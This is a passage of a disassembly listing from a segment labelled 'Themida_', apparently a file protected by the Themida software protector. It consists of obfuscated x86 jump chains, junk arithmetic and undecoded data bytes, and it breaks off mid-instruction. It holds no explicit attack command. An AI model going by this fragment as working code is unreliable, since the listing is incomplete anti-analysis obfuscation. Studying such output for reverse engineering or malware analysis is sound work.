5E5AFFFEh, 0FF8DEFE9h, 0FFBE56FFh, 29674A72h dd 0E9082474h, 0FFFF289Eh, 6AA1685Eh, 3C890000h, 4BF24h dd 0D3E90000h, 52FFFF3Bh, 5647E5BAh, 0FFD331EFh, 46E92434h db 0D9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566553: ; CODE XREF: Themida_:00559E64j pop ebx jmp loc_555D5C ; --------------------------------------------------------------------------- db 66h, 89h, 1Ch dd 2404FE24h, 241C8B66h, 0E902C483h, 0FFFFD792h, 243C875Eh dd 0FF1C02E9h, 0B9F181FFh, 0C169CB3Eh, 0D9F705E1h, 0FF044BE9h db 0FFh ; --------------------------------------------------------------------------- loc_566585: ; CODE XREF: Themida_:0055E629j mov ebp, 1BD94FEFh jmp loc_5600EF ; --------------------------------------------------------------------------- loc_56658F: ; CODE XREF: Themida_:0056716Dj add edi, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], edi jmp loc_567FD2 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0E9241C89h, 1910h ; --------------------------------------------------------------------------- loc_5665B4: ; CODE XREF: Themida_:005656A4j mov esi, 4 sub edx, esi jmp loc_554B73 ; --------------------------------------------------------------------------- loc_5665C0: ; CODE XREF: Themida_:0055E199j or esi, ebx jmp loc_56588A ; --------------------------------------------------------------------------- db 87h dd 565C241Ch, 0FECB37E9h, 57E951FFh, 88FFFF5Ch, 0C68058C6h dd 0C4B35301h, 0C380CBFEh, 9CF38050h, 515BDE08h, 0CE008BB1h dd 6BC38059h, 0EB80F328h, 0C3805A6Bh, 0F816E971h, 0EABDFFFEh dd 815F3B1Ah, 7517ABE5h, 14C0E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566612: ; CODE XREF: Themida_:0055C9DFj push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_55F6EA ; --------------------------------------------------------------------------- loc_566620: ; CODE XREF: Themida_:0055F822j pop dword ptr [esp] mov esp, [esp] push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] sar word ptr [esp], cl pushf jmp loc_560E49 ; --------------------------------------------------------------------------- loc_56663C: ; CODE XREF: Themida_:0056625Cj sub [esp+4], esi pop esi mov edx, [esp] push edi push esp pop edi add edi, 4 jmp loc_55F91B ; --------------------------------------------------------------------------- loc_566652: ; CODE XREF: Themida_:005567FDj pop ebp jmp loc_56575F ; --------------------------------------------------------------------------- loc_566658: ; CODE XREF: Themida_:00557D3Bj pop esi jmp loc_561958 ; --------------------------------------------------------------------------- dw 0E381h dd 0C4659C8h, 0FEEE55E9h, 665866FFh, 5052F329h, 0FF7171E9h db 0FFh byte_566675 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00552AE4o dd 4EC8124h, 89000000h, 77E9240Ch db 1Ah, 2 dup(0FFh) byte_566687 db 0ADh ; DATA XREF: Themida_:00552900o dd 0B417E951h, 0CF81FFFFh, 248447Bh, 7EF7EF81h, 0FB892E7Fh dd 0FF7D37E9h, 2434FFFFh, 4EC8358h, 0FEFB5AE9h, 6E6847FFh dd 89000056h, 0F1E92434h, 81FFFF6Ch, 4C3h, 51525000h, 847A1CB9h dd 10D6E95Fh, 0CD29FFFFh, 592434FFh, 0FF626BE9h, 0ACE952FFh dd 81FFFFDEh, 961350EBh, 0A871E97Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5666EA: ; CODE XREF: Themida_:0055D4A0j mov ebp, 200528Ah sub ebp, 65D5872h sub ebp, 343F654Eh shr ebp, 8 add ebp, 42473068h neg ebp jmp loc_558992 ; --------------------------------------------------------------------------- db 1 dd 3E685DE8h, 8900007Fh, 4EBF243Ch, 0E934CE1Ah, 0FFFEF268h dd 383D24B8h, 78BE5676h, 0E926224Ah, 13C9h, 1F251ABFh dd 1BC1E900h, 295EFFFFh, 0B2ECE9C3h, 5954FFFFh, 4C181h dd 0BA520000h, 7DFD2992h, 0C281DAF7h, 48777851h, 0FF96BEE9h db 0FFh ; --------------------------------------------------------------------------- loc_56675D: ; CODE XREF: Themida_:0055F9C1j xchg edi, [esp] jmp loc_5638C1 ; --------------------------------------------------------------------------- loc_566765: ; CODE XREF: Themida_:00565AFCj push 555D1E92h mov ecx, [esp] add esp, 4 sub edx, 2580377Fh sub edx, ecx push ecx mov ecx, 2580377Fh jmp loc_55D180 ; --------------------------------------------------------------------------- db 1 dd 0E9042474h, 0FFFEDD55h ; --------------------------------------------------------------------------- loc_56678C: ; CODE XREF: Themida_:0055BDD9j mov ebx, ebp mov ebp, [esp] add esp, 4 sub ebp, 6644427Bh sub ebp, ebx add ebp, 6644427Bh pop ebx push ecx push eax mov eax, ebp jmp loc_55DC4F ; --------------------------------------------------------------------------- loc_5667AF: ; CODE XREF: Themida_:0056065Bj pop ecx push 23CAh mov [esp], ebp jmp loc_5664CA ; --------------------------------------------------------------------------- db 5Bh, 5Ah, 83h dd 348904ECh, 5529E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5667CA: ; CODE XREF: Themida_:005655D1j pop eax add eax, 4 push ebp jmp loc_568298 ; --------------------------------------------------------------------------- loc_5667D6: ; CODE XREF: Themida_:0055CE7Bj mov edx, 47E96D75h neg edx not edx and edx, 4BCF6073h neg edx sub edx, 7A3E304Fh sub edx, 0DBD64BA6h add ebx, edx pop edx jmp loc_559F77 ; --------------------------------------------------------------------------- aAH db 'аМ',7,'h',0 dd 29000000h, 2C8B242Ch, 0E0895024h, 405h, 40500h, 4870000h dd 24248B24h, 0FF9036E9h db 0FFh ; --------------------------------------------------------------------------- loc_566821: ; CODE XREF: Themida_:00562992j mov edi, esp add edi, 4 jmp loc_55F9BE ; --------------------------------------------------------------------------- loc_56682E: ; CODE XREF: Themida_:00563A25j push ecx jmp loc_55E2AC ; --------------------------------------------------------------------------- dd 15DEE29h, 0A6C681C6h, 0E91B5D64h, 0FFFFA83Fh, 6C93E954h dd 815DFFFFh, 4C5h, 4C58300h, 0FFEEBFE9h, 0C5815DFFh, 4 dd 0FECA75E9h, 24148BFFh, 0FFAD3AE9h, 0CCE958FFh db 50h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566873: ; CODE XREF: Themida_:0056536Dj add esp, 4 add esp, 4 push edx jmp loc_5577B3 ; --------------------------------------------------------------------------- dw 189h dd 7A48E959h, 0C166FFFFh, 816604E5h, 0E98BD4F5h, 0FFFFD261h dd 51E9D0F7h, 81FFFF28h, 4ECh, 0BA69E900h, 8F5AFFFFh, 895C2404h dd 0DF68241Ch, 5B1A5F32h, 8904EC83h, 0B951242Ch, 6D42456Eh dd 28AC981h, 0E4E91BFDh db 0Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5668CF: ; CODE XREF: Themida_:0055DFBAj jz loc_55FB6E push dword ptr [edi+28h] push dword ptr [esp] pop eax push eax push esp pop eax push 6860h mov [esp], ebx jmp loc_567D50 ; --------------------------------------------------------------------------- dd 801ACA35h, 49AB352Ch, 0F75050D0h, 13E9241Ch, 83FFFFB1h dd 0B2E904ECh db 27h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566907: ; CODE XREF: Themida_:00554DC9j mov esp, [esp] jmp loc_55CE4C ; --------------------------------------------------------------------------- db 5Eh dd 0FF436DE9h, 241C89FFh, 0FECC91E9h, 4EC83FFh, 0B8240489h dd 2A7C2594h, 0B5AEB81h, 0C3292126h, 0B5AC381h, 1582126h dd 241C8BD9h, 0FF0DFBE9h, 0CBEB81FFh, 1D90229h, 7685BDAh dd 89000066h, 0DF68240Ch, 5903F73Dh, 44D8EA81h, 34E94A37h db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566963: ; CODE XREF: Themida_:0055460Cj sub esp, 4 mov [esp], edi jmp loc_5559E9 ; --------------------------------------------------------------------------- loc_566971: ; CODE XREF: Themida_:0055B896j add ebx, 0DC7786C4h jmp loc_55D6FC ; --------------------------------------------------------------------------- dd 0A469A0BBh, 0FFD82939h, 815B2434h, 4C4h, 65BE5600h dd 0F75A4A5Bh, 0CE8146D6h, 269366DBh, 55FFEE83h, 5619B868h dd 242C8B62h, 0FF6869E9h, 7520BBFFh, 0E3C16A85h, 81D3F703h dd 0BA2C69EBh, 5EC38173h, 0C14D0A21h, 0EB8108EBh, 0FDD9198Ah dd 1C8BD989h, 4C48324h, 15E368h, 24348900h, 5A17A5BEh dd 7EEC12Eh, 0E48EF681h, 33E94543h, 53FFFF59h, 0FFB124E9h db 0FFh ; --------------------------------------------------------------------------- loc_5669F5: ; CODE XREF: Themida_:0055A03Aj add [esp+4], ecx pop ecx mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], eax jmp loc_55D494 ; --------------------------------------------------------------------------- db 89h dd 0E789243Ch, 4C781h, 0C7810000h, 2, 8B243C87h, 0F1F62424h dd 0CCB60F66h, 35356866h, 240C8966h, 0C8B60F66h, 0E99C5166h dd 0FFFEC81Dh, 8704C683h, 72E92434h, 31FFFFE7h, 4332404h dd 0E7D7E924h, 505AFFFEh, 5C2838B8h, 0DA9E2D68h, 63E95848h dd 81FFFFB9h, 0AA6745EAh, 0C4BB533Dh, 8142C518h, 9E0D56CBh dd 0EAEB814Ah, 8115695Eh, 6572A5EBh, 0D697E977h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566A92: ; CODE XREF: Themida_:0055739Cj pop edx xchg esi, [esp] pop esp jmp loc_565BFF ; --------------------------------------------------------------------------- dd 0BA52E089h, 3F732983h, 0A604E950h, 39B7FFFFh, 0D045EF80h dd 4EFC0EFh, 49EF80h, 34FF5BFAh, 0C4815924h, 4, 0FFB431E9h dd 4BEFFh, 0E5E90000h, 0F7FFFFC5h, 6BCEE9DEh, 0EF68FFFFh dd 0E9000056h, 0FFFF55BDh ; --------------------------------------------------------------------------- loc_566AE4: ; CODE XREF: Themida_:00561FB1j ; Themida_:00564B04j push 6D15h mov [esp], ebx jmp loc_5671AF ; --------------------------------------------------------------------------- loc_566AF1: ; CODE XREF: Themida_:005632CAj add eax, 8557681h and esi, eax pop eax add esi, 0E4771B2h xor esi, 67F403C1h jmp loc_555B1F ; --------------------------------------------------------------------------- dw 148Bh dd 4C48324h, 0FF9AFEE9h, 7C30BDFFh, 0E82910CFh, 41C3E95Dh dd 0C381FFFFh, 7925546Bh, 0FF29A2E9h, 0EC8351FFh, 24248904h dd 0FF4E12E9h, 4C481FFh, 0E9000000h, 0FFFF9495h ; --------------------------------------------------------------------------- loc_566B44: ; CODE XREF: Themida_:00555ADCj push ebx push 1F1E5D7Bh mov ebx, [esp] add esp, 4 push 704Ah mov [esp], ecx push 29AE3734h jmp loc_55A129 ; --------------------------------------------------------------------------- dw 0D9F7h dd 2961E981h, 0E9813DACh, 18CD1C61h, 26B2C981h, 0E981705Eh dd 287F6248h, 0FF0199E9h, 4C181FFh, 81000000h, 4C1h, 240C8700h dd 0FF43B4E9h db 0FFh ; --------------------------------------------------------------------------- loc_566B95: ; CODE XREF: Themida_:0055584Aj push edx push 0FFFFFFFFh jmp loc_55FB76 ; --------------------------------------------------------------------------- loc_566BA0: ; CODE XREF: Themida_:005543FEj pop edx shl ebp, 4 jmp loc_564118 ; --------------------------------------------------------------------------- loc_566BA9: ; CODE XREF: Themida_:00553506j add edi, 4 add edi, 4 xchg edi, [esp] pop esp push 7FC3h mov [esp], esi mov esi, esp push eax push 5C80h jmp loc_55EAFB ; --------------------------------------------------------------------------- loc_566BCB: ; CODE XREF: Themida_:0055C4ADj pop edi sub edx, 47E3F403h sub eax, 15410641h add eax, edx add eax, 15410641h pop edx jmp loc_5660B1 ; --------------------------------------------------------------------------- dd 0E9240433h, 0FFFF69ABh, 83242C8Bh, 0BA5204C4h, 62470149h dd 0FF5FCEE9h, 240431FFh, 0FF1BE1E9h, 35E950FFh, 81FFFED0h dd 6C1F1AEFh, 56EF813Ah, 2901E57Dh, 56C781D7h, 8101E57Dh dd 6C1F1AC7h, 0DBEF813Ah, 5A53706Fh, 4EC8157h, 0E9000000h dd 0FFFF29B6h, 24148B66h, 741D68h, 243C8900h, 0BA52E789h dd 616F27D2h, 4309BF57h, 0FA317C75h, 81243C8Bh, 4C4h, 0A63FE900h db 2 dup(0FFh) word_566C62 dw 30ACh ; DATA XREF: Themida_:00552B28o dd 72E3E9D8h, 8957FFFFh, 4C781E7h, 81000000h, 4EFh, 243C8700h dd 0FEF65FE9h, 659868FFh, 34890000h, 0E95E5424h, 0FFFF608Ah dd 7EBC15Ch, 0FF46D4E9h, 240483FFh, 243C8B04h, 0FF7398E9h dd 7E2C1FFh, 0FFF11FE9h db 0FFh ; --------------------------------------------------------------------------- loc_566CAD: ; CODE XREF: Themida_:00557D7Dj sub esi, 4 jmp loc_564E00 ; --------------------------------------------------------------------------- dd 8B241C87h, 0C481242Ch, 4, 7DBD5552h, 0C14D6412h, 0FCE903EDh dd 80FFFEEEh, 4EE933F5h db 5Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566CDB: ; CODE XREF: Themida_:005585EEj pop edi jmp loc_5589B7 ; --------------------------------------------------------------------------- loc_566CE1: ; CODE XREF: Themida_:00560798j push esi mov esi, 1AC16DB6h sub dword ptr [esp+8], 4CED7C9Ch add [esp+8], esi jmp loc_56564E ; --------------------------------------------------------------------------- dd 569DF381h, 0EFE9075Ah, 68FFFF79h, 5B44h, 0E9240489h dd 0FFFF155Ah ; --------------------------------------------------------------------------- loc_566D10: ; CODE XREF: Themida_:0055EE7Bj xor ebp, 0AE4A6194h jmp loc_552C33 ; --------------------------------------------------------------------------- loc_566D1B: ; CODE XREF: Themida_:005635A9j xor esi, [esp] jmp loc_562ACE ; --------------------------------------------------------------------------- db 57h dd 8806F9BFh, 1188E928h, 0C6810000h, 4, 5C243487h, 0FF2C30E9h dd 243C8BFFh, 0FF46A2E9h, 665066FFh, 664490B8h, 16E9C329h dd 81FFFFF9h, 69BC33EAh, 0D2BDE961h, 0A4B8FFFEh, 2D384D38h dd 0D893BD12h, 958C601h, 0B8505EF7h, 91600AEh, 1C576F0Dh dd 4EC8330h, 0E9243489h, 0FFFFEF6Bh, 0E9242C8Bh, 0FFFF6533h dd 98BED81h, 0CD810DA9h, 32401B85h, 0FF6BEFE9h db 0FFh ; --------------------------------------------------------------------------- loc_566D9D: ; CODE XREF: Themida_:00558C92j push edx jmp loc_5652B8 ; --------------------------------------------------------------------------- loc_566DA3: ; CODE XREF: Themida_:00561748j pop eax jmp loc_55DA69 ; --------------------------------------------------------------------------- db 81h, 0EEh, 0 dd 9C0F718h, 0CD875EF5h, 80E9D987h db 8, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566DBB: ; CODE XREF: Themida_:005628ADj add [esp+4], edi sub dword ptr [esp+4], 572766E7h pop edi pop edx add edx, 4 push 2200h mov [esp], edi mov edi, 4 jmp loc_565AAC ; --------------------------------------------------------------------------- db 58h, 5, 4 dd 5000000h, 4, 0FF1865E9h db 0FFh ; --------------------------------------------------------------------------- loc_566DF1: ; CODE XREF: Themida_:0055E7C3j or eax, 18C3570Bh push ebp mov ebp, 541B5D8Dh xor ebp, 79CD4FE6h and eax, ebp jmp loc_559B86 ; --------------------------------------------------------------------------- db 55h, 0BDh, 0F6h dd 294F39B2h, 0FA895DEFh, 0FF65C4E9h, 5DEE31FFh, 39D3EE81h dd 0F6813A1Ch, 43397590h, 5DDFF681h, 0F7312170h, 5FF9095Eh dd 81FFE983h, 777EBBE9h, 59CA3168h, 335AD101h, 0CAE9240Ch dd 68FFFF59h, 5F09h, 0B8240489h, 25697995h, 0E901E883h dd 0FFFF16D1h ; --------------------------------------------------------------------------- loc_566E60: ; CODE XREF: Themida_:0055F852j add ecx, 2C97EFAEh jmp loc_562D3B ; --------------------------------------------------------------------------- loc_566E6B: ; CODE XREF: Themida_:0055B602j mov [esp], ebp push 2556h mov [esp], ecx mov ecx, 1B7A161Bh shr ecx, 7 jmp loc_567546 ; --------------------------------------------------------------------------- db 28h dd 91C380C3h, 5883C380h, 0E952CC04h, 0FFFF5DF1h, 533DBF57h dd 0D7F7006Ch, 137EC781h, 0F781015Ah, 58FF6770h, 0FEF57FE9h dd 0BD09E9FFh, 0E957FFFEh, 0FFFF481Ah, 0E9242489h, 0FFFF6C52h dd 0E904E2C1h, 0FFFF9F9Ah, 0EA81C201h, 37E0117Fh, 0CAC28158h dd 8B7C9249h, 12E9243Ch, 0BDFFFFE0h, 0EB7781Ah, 2B05BE56h dd 3DE9764Fh, 81FFFFCCh, 4C4h, 66DDF600h, 0F515E952h, 3C89FFFFh dd 0D086824h, 0BE90000h, 81FFFEC9h, 4C4h, 0BD555100h, 11210E7Fh dd 685DE989h, 11F5h, 0BD242C89h, 0 dd 0EC83CD29h, 242C8904h, 4CE95D59h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_566F37: ; CODE XREF: Themida_:0055B90Ej mov edi, 55077F9Ch jmp loc_554BEE ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 83000000h, 12E904ECh db 0C2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566F4F: ; CODE XREF: Themida_:00563A3Bj push ebx jmp loc_553FE1 ; --------------------------------------------------------------------------- db 81h, 0E9h, 2Eh dd 0E9671396h, 0FFFF6B42h, 0E7E9C601h db 0F9h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_566F67: ; CODE XREF: Themida_:00554D47j mov eax, [esp] sub esp, 4 mov [esp], edx mov edx, esp jmp loc_55A14B ; --------------------------------------------------------------------------- db 59h dd 34FFF830h, 241C8B24h, 4C481h, 0C4E90000h, 91FFFEC5h dd 31C13148h, 0CAF4E9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_566F96: ; CODE XREF: Themida_:00553F37j xchg ecx, [esp] mov esp, [esp] mov [esp], eax sub esp, 4 jmp loc_55A819 ; --------------------------------------------------------------------------- dw 0EB81h dd 97C4D646h, 0FFC530E9h, 81C629FFh, 742B4EC6h, 2434FF2Fh dd 0FEC013E9h, 8AC680FFh, 0FF5B5BE9h db 0FFh ; --------------------------------------------------------------------------- loc_566FCD: ; CODE XREF: Themida_:00559B49j add esp, 4 sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp jmp loc_559E8D ; --------------------------------------------------------------------------- dw 0E952h dd 0FFFF6FA0h, 4C581h, 0C9E90000h, 81FFFF73h, 4C7h, 4C78100h dd 0E9000000h, 0FFFF7B7Dh ; --------------------------------------------------------------------------- loc_567008: ; CODE XREF: Themida_:0055C036j mov esi, 1BB37711h sub esi, 0C0C935A5h or edx, esi pop esi xor edx, 5FEF576Bh jmp loc_560D9B ; --------------------------------------------------------------------------- db 80h, 0C4h, 0A0h dd 801DF480h, 6866CAECh, 89666837h, 0DBB5240Ch, 0FFFC9AE9h dd 34EE81FFh, 815E9851h, 51F330F6h, 5EF201A2h, 0E9241487h dd 0FFFF91ECh, 0A1D7E95Ah db 2 dup(0FFh) word_567056 dw 8B66h ; DATA XREF: Themida_:00552A1Co dd 8155240Ch, 4ECh, 24148900h, 0C281E289h, 4, 0E904EA83h dd 0FFFFC96Ch, 8B545558h, 0C483242Ch, 7D5DE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567082: ; CODE XREF: Themida_:005598F3j shl esi, 3 push edx mov edx, 7AEA693Fh jmp loc_55ACFB ; --------------------------------------------------------------------------- dd 5C242C87h, 89240C89h, 4C181E1h, 0E9000000h, 0FFFF810Eh dd 5C24048Fh, 83240C8Bh, 0C8904ECh, 0C8B5424h, 4C48324h dd 4C181h, 2D680000h, 89000016h, 9CE92414h db 0C3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5670CB: ; CODE XREF: Themida_:00557D83j push edx mov edx, 7CBD380Dh xor edx, 1D580DA8h add edx, 52832EB4h add edx, 2869763Dh not edx jmp loc_564E44 ; --------------------------------------------------------------------------- dw 8956h dd 4C681E6h, 0E9000000h, 0FFFFFC36h, 348BF789h, 0E09EE924h dd 348BFFFEh, 0CC5E924h, 0F2810000h, 0AE778CA4h, 15AD701h dd 85EF81DFh, 0FF0EE657h, 1DE92434h db 0Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567123: ; CODE XREF: Themida_:0055BBCFj mov ah, 5Ah jmp loc_55FD06 ; --------------------------------------------------------------------------- dw 0B951h dd 2E772954h, 0E959CE29h, 0FFFFDCC0h ; --------------------------------------------------------------------------- loc_567138: ; CODE XREF: Themida_:00564049j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push 0DEFh mov [esp], esp push 6DE8h mov [esp], ecx mov ecx, 4 add [esp+4], ecx mov ecx, [esp] add esp, 4 pop edi jmp loc_56658F ; --------------------------------------------------------------------------- dw 8166h dd 668034C7h, 665FFD89h, 5DF7C581h, 0FF71A9E9h, 0BA31E9FFh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56718A: ; CODE XREF: Themida_:0055674Aj xor edx, ecx jmp loc_56766B ; --------------------------------------------------------------------------- db 5Dh, 66h, 1 dd 665166E8h, 6602A2B9h, 8B66C829h, 0EE9240Ch, 0C1FFFF8Ch dd 5BE902EAh db 0C4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5671AF: ; CODE XREF: Themida_:00566AECj push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push ecx push 0CDBh mov [esp], esp sub esp, 4 mov [esp], eax mov eax, 4 add [esp+4], eax jmp loc_5567B2 ; --------------------------------------------------------------------------- db 1 dd 6A2FE9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5671E2: ; CODE XREF: Themida_:00556EF6j push esi mov esi, 8A0E3Eh add eax, esi jmp loc_563936 ; --------------------------------------------------------------------------- db 81h dd 805C5DF6h, 0A65BE98Ch, 0BD55FFFFh, 4, 0FF09C0E9h db 0FFh ; --------------------------------------------------------------------------- loc_567205: ; CODE XREF: Themida_:0055F379j sub ebx, ebp add ebx, 71BF73C5h pop ebp xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov [esp], esi push 80000h mov esi, [esp] sub esp, 4 mov [esp], esi jmp loc_55E311 ; --------------------------------------------------------------------------- loc_567230: ; CODE XREF: Themida_:00564A49j xor eax, [esp] jmp loc_55D8C3 ; --------------------------------------------------------------------------- dd 463AEE81h, 8CE91903h, 57FFFF23h, 647BBE56h, 0C6811200h dd 10317630h, 0A9EAEE81h, 0F789B58Bh, 5EB4E95Eh, 431FFFFh dd 24043324h, 0FF26BBE9h dword_567268 dd 2434FFFFh, 4C48359h, 0FFA16AE9h ; DATA XREF: Themida_:00564B1Co db 0FFh ; --------------------------------------------------------------------------- loc_567275: ; CODE XREF: Themida_:00559951j add bl, ch add bl, 53h mov ecx, [esp] jmp loc_55E67C ; --------------------------------------------------------------------------- loc_567282: ; CODE XREF: Themida_:0055D523j push edx mov edx, esp jmp loc_55F3D3 ; --------------------------------------------------------------------------- loc_56728A: ; CODE XREF: Themida_:00556E3Cj push 16F7h mov [esp], esi mov esi, esp add esi, 4 jmp loc_567DA1 ; --------------------------------------------------------------------------- loc_56729F: ; CODE XREF: Themida_:0055686Fj push esi mov esi, 4 add ebx, esi jmp loc_55FD48 ; --------------------------------------------------------------------------- dword_5672AC dd 24048B66h, 0FEE69EE9h, 40558FFh, 56000000h, 0FF1648E9h ; DATA XREF: Themida_:00552A44o db 0FFh ; --------------------------------------------------------------------------- loc_5672C1: ; CODE XREF: Themida_:00564AC3j add edx, edi jmp loc_5620D6 ; --------------------------------------------------------------------------- dd 1592C381h, 81597BDFh, 574A9FEBh, 0DB0AE944h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5672DA: ; CODE XREF: Themida_:00558FB9j mov esp, [esp] sub [edi+24h], edx mov edx, [esp] push ebx push esp pop ebx jmp loc_564C50 ; --------------------------------------------------------------------------- db 0B8h dd 2EBA0D32h, 8158C531h, 5EBA7DF5h, 5DE80129h, 0FF1B43E9h db 0FFh ; --------------------------------------------------------------------------- loc_567301: ; CODE XREF: Themida_:0055BA97j mov esi, 43060735h or esi, 54413420h jmp loc_558FEF ; --------------------------------------------------------------------------- db 5Bh, 81h, 0C4h dd 4, 0E924048Fh, 0FFFF14BDh ; --------------------------------------------------------------------------- loc_567320: ; CODE XREF: Themida_:0055B6B5j mov ebx, 0CAE46425h xor edi, ebx mov ebx, [esp] add esp, 4 sub eax, edi mov edi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ebp jmp loc_560EFB ; --------------------------------------------------------------------------- dd 8AF68h, 0DB1AE900h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56736A: ; CODE XREF: Themida_:00564203j push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push ecx mov ecx, 4 jmp loc_552FB9 ; --------------------------------------------------------------------------- dw 0DAF7h dd 2B59F281h, 0DAF71224h, 0C837C281h, 0D129920Bh, 0FED140E9h db 0FFh ; --------------------------------------------------------------------------- loc_567395: ; CODE XREF: Themida_:00556F8Aj xor [esp], ebx xor ebx, [esp] jmp loc_564CCC ; --------------------------------------------------------------------------- dd 0CFD6EE81h, 0F73194B3h, 5E2434FFh, 4C481h, 0F9010000h dd 0FF2563E9h db 0FFh ; --------------------------------------------------------------------------- loc_5673B9: ; CODE XREF: Themida_:00557245j push eax jmp loc_561EDA ; --------------------------------------------------------------------------- db 81h dd 9C110FC6h, 81EE296Dh, 9C110FEEh, 34875D6Dh, 24248B24h dd 24048F54h, 4B850h, 6C810000h, 2FE30424h, 0BB534827h dd 15DF00ECh, 4308EBC1h, 0E908E3C1h, 0FFFF7292h, 4C781h dd 0E9510000h, 0FFFF8D9Ch ; --------------------------------------------------------------------------- loc_567404: ; CODE XREF: Themida_:005606F0j add ecx, 4 xchg ecx, [esp] jmp loc_55BB5A ; --------------------------------------------------------------------------- loc_567412: ; CODE XREF: Themida_:0056084Aj mov edi, 5E3D5447h jmp loc_55E049 ; --------------------------------------------------------------------------- dd 0BE243489h, 782F7B1Ch, 4247401h, 8324348Bh, 13E904C4h db 85h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567433: ; CODE XREF: Themida_:00565C7Dj pop ebx add ecx, 80048207h push 6DF1h mov [esp], esi push edx mov edx, ecx mov esi, edx pop edx push esi add dword ptr [esp], 3E194723h jmp loc_555B95 ; --------------------------------------------------------------------------- db 51h, 89h, 0E1h dd 4C181h, 0BF570000h, 4, 0FFD2A6E9h, 81E789FFh, 4C7h dd 0EF60E900h, 0D104FFFFh, 8058C500h, 0EDC03FC5h, 6803h dd 2C800000h, 2C280724h, 24048024h, 2096E907h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567496: ; CODE XREF: Themida_:005680E8j pop edi xor edi, 61493900h not edi jmp loc_55CC0B ; --------------------------------------------------------------------------- dd 9C00E981h, 1BE97A66h, 57FFFF16h, 657396BFh, 4B3E684Dh dd 14890000h, 0B47BA24h, 0C7814BCFh, 71982B55h, 23D7C781h dd 0D7012860h, 23D7EF81h, 0F9E92860h, 0FFFFD0h, 0ECC380EBh dd 80F32859h, 0B050C8EBh, 58C3007Ah, 80C3005Ah, 0B60F87C3h dd 8734FFC0h, 4EC81h, 14890000h, 0E8E95724h db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567507: ; CODE XREF: Themida_:005546ACj sub esp, 4 jmp loc_55DFBF ; --------------------------------------------------------------------------- dw 0FB89h dd 0FF4771E9h, 7DE95DFFh, 2DFFFF45h, 5BD552D8h, 21E9F801h dd 1FFFF13h, 0C1815AD1h, 4, 5C240C87h, 2C381h, 1C870000h dd 0E061E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567546: ; CODE XREF: Themida_:00566E7Ej and ecx, 6CC062CFh push edi mov edi, 0FC87CC1h shl edi, 3 sub edi, 73166229h xor edi, 25589F26h jmp loc_5606F5 ; --------------------------------------------------------------------------- dw 0E5C1h dd 56C58104h, 81136579h, 0A300D6E5h, 0FBE95007h, 31FFFF18h dd 14332414h, 24248B24h, 4BB0F66h, 2CE99C24h, 5FFFEB6h dd 4, 42Dh, 24048700h, 2414895Ch, 6F68E289h, 8900000Fh dd 0CDE92404h, 5FFFF3Fh, 7AAA0E67h, 1A6B762Dh, 5CC2057Bh dd 0F8295D30h, 0FFBE84E9h, 0EC8155FFh, 4, 0BB241C89h, 2D7A3185h dd 0A0E9DD89h db 50h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5675DB: ; CODE XREF: Themida_:00565FC2j pop edx xchg esi, [esp] mov esp, [esp] mov edx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_561D30 ; --------------------------------------------------------------------------- db 81h, 0EAh, 0E4h dd 816B5125h, 0AA6745C2h, 0E9CA013Dh, 0FFFFF463h, 8904EC83h dd 0F3BE2434h, 812ADC44h, 0DC44F7F6h, 0BFE9562Ah db 0A0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567623: ; CODE XREF: Themida_:0056331Fj sub esi, 7E525B41h jmp loc_55775D ; --------------------------------------------------------------------------- dw 0E6C1h dd 1AF68104h, 31410823h, 0C7815EF2h, 4A724A98h, 0FF7CA2E9h dd 81D901FFh, 1D7724E9h, 0B8BCE917h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567652: ; CODE XREF: Themida_:005558D2j sub esi, 555A39E8h jmp loc_56634B ; --------------------------------------------------------------------------- loc_56765D: ; CODE XREF: Themida_:005679A1j pop esp push ecx push dword ptr [esp+4] mov 